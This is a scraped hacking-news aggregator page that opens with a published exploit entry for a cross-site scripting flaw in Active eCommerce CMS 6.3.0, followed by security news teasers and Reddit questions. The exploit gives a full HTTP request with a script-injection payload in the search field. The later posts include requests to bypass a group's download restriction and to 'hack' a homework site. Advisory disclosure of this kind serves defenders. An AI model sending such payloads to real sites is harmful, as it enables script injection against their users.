Exploit Collector
Active eCommerce CMS 6.3.0 Cross Site Scripting

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png
Active eCommerce CMS version 6.3.0 suffers from a cross site scripting vulnerability.

SHA-256 | f51e5c579856d6d8fa09e372f8f6b12ff91605bb22a15f16b8caa488351dcb3f

Download
# Exploit Title: Active eCommerce CMS Cross Site Scripting
# Exploit Author: th3d1gger
# Vendor Homepage: https://codecanyon.net
# Software Link: https://codecanyon.net/item/active-ecommerce-cms/23471405
# Version: Version 6.3.0
# Tested on Ubuntu 18.04
-------Request-----------
POST /ajax-search HTTP/1.1
Host: localhost
Content-Length: 117
sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
sec-ch-ua-platform: "Linux"
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: allow=1; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=eyJpdiI6IlRwa1o2cDhxRGtqTUxKL2tLS0NiVGc9PSIsInZhbHVlIjoiajVqT2VOeTk5RmVXY20yaG44ekFQbTc4OFZ3K2EvbThhTFFVUjBzdVpZNmtDQVlocndZU1pEeWFlaURPWDl3V2JsZGFxeDYyR1NWRGoyVHRDYW9iVExUck12NTNjVHZ3VWF2eHNWN1dScXNRdW81ZUNPeldnZ2FRdHVxODlsWnI1cDhWOEcvQlZWSi83VEM5WTJNNC9CME5PWVVyU2dDNWhNcUlvSXU1UWlsQjF2eTYxdmQ2aW5EZHNkYVBQMUpObEN2aFp6Y0tvUkhrUkFac0ZveURZZ0NFMHlPWjRYYSs0eTNTR3VPVXZUMD0iLCJtYWMiOiJjYmU1ZWYxODJlZjYyNzAyODI5YjM4NWEzMDgyYWFkMzA2YmIzOWM3ODA3ZjgyNjMzZWRjMDc3MDkxNWEzZGQ3In0%3D; twk_idm_key=-J__vZrlSOiy2FYLE4Fsu; twk_uuid_5a7c31ded7591465c7077c48=%7B%22uuid%22%3A%221.AGEpC4jGGoH2T6v2QAlePuWJRFfI9oZIu0RUbaNluAgJJzDJQ1zFcS1Fv9uH7mP6PIgcXCE6JVCXLF7JZsX0kHOsQNihqwO81D79ESmlYkVwYf5UHnjWKkJkiJPYK7Dn%22%2C%22version%22%3A3%2C%22domain%22%3Anull%2C%22ts%22%3A1663797922828%7D; TawkConnectionTime=0; XSRF-TOKEN=CPX7GmsCyaC1NSvSVXt1Ukjv6BDMmcEFsFYijPYB; active_ecommerce_cms_session=zQGudzxBZLEDymY6TvM4yDEKrxTAQJ7FAVIAQEBU
Connection: close

_token=CPX7GmsCyaC1NSvSVXt1Ukjv6BDMmcEFsFYijPYB&search=%3Cscript%3Ealert(%22oh+bought+the+happines%22)%3C%2Fscript%3E

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Atacantes de Ransomware BlackCat detectados ajustando su arsenal de malware

https://cdn-images-1.medium.com/max/1119/0*QfzwGSWkyumR6fH4
El equipo de ransomware BlackCat ha sido visto ajustando su arsenal de malware para pasar desapercibido y expandir su alcance.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Be careful when using .env files

https://cdn-images-1.medium.com/max/1048/1*F3L-t0PFwOQ3mvqUXGjGJQ.png
Not even within 24 hours, a recently launched website was being sniffed for secrets. A bot was searching for a .env file where some…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Lazy HackTheBox

https://cdn-images-1.medium.com/max/1181/0*3c0bJ1VdDkjOw1Pt.png
Introduction

Continue reading on System Weakness »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Game Hacker How To Hack Games On Android&iOS? — Webkiks

https://cdn-images-1.medium.com/max/2000/0*f1audA5Y_pzKdSP3.jpg
The game hacker app allows you to hack into games such as Minecraft, Terraria, and many others. Using the game hacking app, you can add…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Russia Planning Cyberattacks on Ukraine's Energy Grid

Ukraine military intelligence says Russia is planning cyberattacks on the country's energy sector, as well as against allies including Poland and the Baltic states.

Dark Reading: Attacks/Breaches
Cyber Threat Alliance Extends Membership to 6+ Leading Cybersecurity Companies

CTA now has 36 members headquartered in 11 countries who follow cyber activities across the world, showing cybersecurity industry members realize the value in collaboration.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Are old Monitors and Smart TVs a security risk?

I was asked a question that I am unsure about. If someone uses a smart tv (usually running some flavor of android) as a monitor by connecting to it via an HDMI cable. Could there be a risk of any residual data being stored by the monitor? Is there any type of short-term memory that one should be aware of?

I am asking because an organization is considering giving away a few old smart TVs used as monitors but are concerned about security implications.

submitted by /u/videowidget
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Despite Recession Jitters, M&A Dominates a Robust Cybersecurity Market

Funding has been somewhat lower than last year, but investment remains healthy, analysts say, amid thirst for cloud security in particular.

Hacking on Medium
Brute Forcing RDP & How to Mitigate

https://cdn-images-1.medium.com/max/750/1*7b6BfVSac-IGIaJsh2JACA.jpeg
Windows Remote Desktop Protocol (RDP) is commonly used by system administrators for remote access. It enables remote display and input for…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Guacamaya: Grupo responsable de divulgar 10 teras de datos de diferentes países de Latinoamérica.

https://cdn-images-1.medium.com/max/1738/0*HnQ16s9Te5xiUKlF
Conocido como Guacamaya, este grupo de delincuentes informáticos supuestamente es el responsable de filtrar cerca de 10 Terabytes de…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ataques de Phishing modernos; Huellas dactilares en ingeniería social

https://cdn-images-1.medium.com/max/1698/0*MJXWPofZ8QT5WjjK
Las personas comparten cada vez más su información personal en línea, gracias a la rápida expansión del uso de Internet. Como resultado…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Saving videos in a group

Hey, Im in a group where there are images and videos I want to save but the group restricted savings. I can take screenshot from pc but wondered if there is any easier way? I’m pretty sure telegram save those files on pc to represent them. Anybody know where the files are?

submitted by /u/FunPalpitation176
[link] [comments]

hacking: security in practice
I am done with Study Island, anyone got some good hacks?

My high school is still using Study Island and it pisses me off. Around 30% of my homework is spent on these annoying "study sets". Please help!

submitted by /u/_Cianoo
[link] [comments]